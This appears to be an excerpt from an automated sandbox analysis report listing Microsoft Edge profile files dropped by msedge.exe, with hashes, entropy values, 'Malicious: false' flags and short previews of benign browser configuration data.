SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c95e4a4e-eca1-4806-8bd3-dc5c182566b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dc9b586b-c8fb-4eaa-9a6e-ba078ac1e41d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.556078959723549
Encrypted:	false
SSDEEP:	768:VJnQz8WzvW5wpxf4cd8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP6FI/88JrwXlZMxqN:Vde88vWapxfJdu1ja30d61ZMwWtA
MD5:	4C888087A19A705940860CC91B4D5D71
SHA1:	98F84E130AEF7CAF22652AF5B2FDFF179CF03A02
SHA-256:	841E0623B268E86A51CE87FBAA3D772BE2E6DBBBCB49AA158BF0F59E193BD2DC
SHA-512:	A6C143F7111E7E7570E0C0285D18C6DC65A88B6B6D0C8E63AD88014B77FEBFD400CA8CDB6C84A91518917DF96C282AD67908DB1BB0C91E474CD27C6BC71E64C8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375798818763491","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375798818763491","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37cb3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37f33.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a569.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cde0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48f7b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f2b9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089803630543614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMwkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynyLkzItSmd6qE7lFoC
MD5:	8D3C37B6BB52A2D991B4D81917C56A26
SHA1:	9E7E9502736A158B4A551420B0D59AF62F12278D
SHA-256:	A3B04B5E2F5F8ADCCE51C0661D5E806F24CFFF41477A81E91F1F10B0BFF76EC2
SHA-512:	07329564B0631C0784698C3FAB3890912CC7EA6422DC2ACB5964D432B3AD452D3B98E22139538922297142AE6F559D236E041E3671F25C85D5105FB1C85E6C11
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
